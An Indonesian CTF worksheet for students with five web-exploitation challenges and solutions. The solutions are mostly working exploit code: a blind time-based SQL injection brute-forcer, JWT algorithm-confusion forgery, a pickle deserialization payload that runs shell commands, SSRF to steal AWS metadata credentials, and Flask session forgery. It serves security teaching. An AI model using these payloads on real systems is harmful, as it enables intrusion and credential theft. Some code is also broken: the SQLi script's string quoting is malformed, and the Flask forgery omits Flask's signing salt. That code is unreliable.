

CTF Tingkat Lanjut (Advanced)

Berikut adalah **5 Soal CTF Tingkat Lanjut (Advanced)** beserta **pembahasan lengkap** untuk materi **LKPD CTF – Web Exploitation menggunakan Python**.

Soal dirancang untuk siswa SMK / mahasiswa IT yang sudah memahami:

- HTTP Request/Response
- Flask / Web Framework Python
- SQL Injection
- Session & Cookie
- JWT
- SSRF
- Deserialization

SOAL 1 – Blind SQL Injection (Time-Based)

Deskripsi Soal

Sebuah website dibuat menggunakan **Flask** dan database **MySQL**.

Endpoint:

`http://target.local/login`

Parameter:

POST username, password

Query backend:

```
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
```

Tidak ada error output. Jika login gagal, selalu tampil:

Invalid credentials

Tugas:

1. Eksploitasi Blind SQL Injection (Time-Based)
2. Ambil password admin
3. Flag berada pada tabel users kolom flag

Pembahasan

Karena tidak ada error output → gunakan **Time-Based Injection**

Payload contoh:

```
admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)-- -
```

Jika respon delay 5 detik → karakter pertama = a

Script Python Exploit

```
import requests
import string
import time

url = "http://target.local/login"
chars = string.ascii_lowercase + string.digits
password = ""

for i in range(1, 21):
    for c in chars:
        payload = f'admin' AND IF(SUBSTRING(password,{i},1)='{c}', SLEEP(3), 0)---"
        start = time.time()
        requests.post(url, data={"username": payload, "password": "test"})
        end = time.time()

        if end - start > 3:
            password += c
            print("Found:", password)
            break

print("Final Password:", password)
```

Flag

Didapat setelah login sebagai admin.

SOAL 2 – JWT Algorithm Confusion Attack

Website menggunakan JWT dengan library Python.

Header:

```
{
  "alg": "RS256",
```

```
"typ": "JWT"  
}
```

Public key tersedia di:

```
/public.pem
```

Tugas:

- Bypass authentication
- Login sebagai admin
- Ambil flag di /admin

Pembahasan

Website menggunakan RS256 (asymmetric).

Kerentanan: **Algorithm Confusion**

Ubah:

```
RS256 → HS256
```

Lalu gunakan public key sebagai secret.

Script Exploit

```
import jwt  
  
with open("public.pem") as f:  
    pubkey = f.read()  
  
payload = {  
    "user": "admin",  
    "role": "admin"  
}  
  
token = jwt.encode(payload, pubkey, algorithm="HS256")  
print(token)
```

Masukkan token ke cookie → akses /admin

SOAL 3 – Python Pickle Deserialization RCE

Server menerima upload file .pkl

Code backend:

```
import pickle

data = request.files['file']
obj = pickle.load(data)
```

Tugas:

- Dapatkan RCE
- Flag ada di /flag.txt

Pembahasan

Pickle unsafe → bisa eksekusi command

Payload Exploit

```
import pickle
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('cat /flag.txt',))

payload = pickle.dumps(Exploit())

with open("exploit.pkl", "wb") as f:
    f.write(payload)
```

Upload file → flag muncul di response.

SOAL 4 – SSRF Internal Metadata AWS

Endpoint:

/fetch?url=

Backend:

```
import requests
```

```
requests.get(user_input_url)
```

Server berjalan di **Amazon Web Services**

Tugas:

Ambil credentials dari metadata service.

Pembahasan

AWS metadata internal:

<http://169.254.169.254/latest/meta-data/iam/security-credentials/>

Exploit

```
import requests
```

```
url = "http://target.local/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
```

```
res = requests.get(url)
```

```
print(res.text)
```

Kemudian akses role yang muncul.

SOAL 5 – Flask Session Forgery

Website menggunakan Flask default session.

Cookie:

session=eyJ1c2VyIjojZ3Vlc3QifQ....

Hint:

SECRET_KEY = "supersecret123"

Tugas:

- Ubah role menjadi admin
 - Akses /admin
 - Ambil flag
-

Pembahasan

Flask menggunakan signed cookie berbasis **itsdangerous**

Exploit

```
from itsdangerous import URLSafeTimedSerializer
```

```
secret_key = "supersecret123"
```

```
serializer = URLSafeTimedSerializer(secret_key)
```

```
data = {"user": "admin"}
```

```
token = serializer.dumps(data)
```

```
print(token)
```

Ganti cookie session dengan token tersebut.

RINGKASAN LEVEL KESULITAN

No	Topik	Level	Teknik
1	Blind SQLi	Advanced	Time-Based
2	JWT Attack	Advanced	Algorithm Confusion
3	Pickle RCE	Expert	Deserialization
4	SSRF	Advanced	Cloud Exploitation
5	Session Forgery	Advanced	Crypto Weakness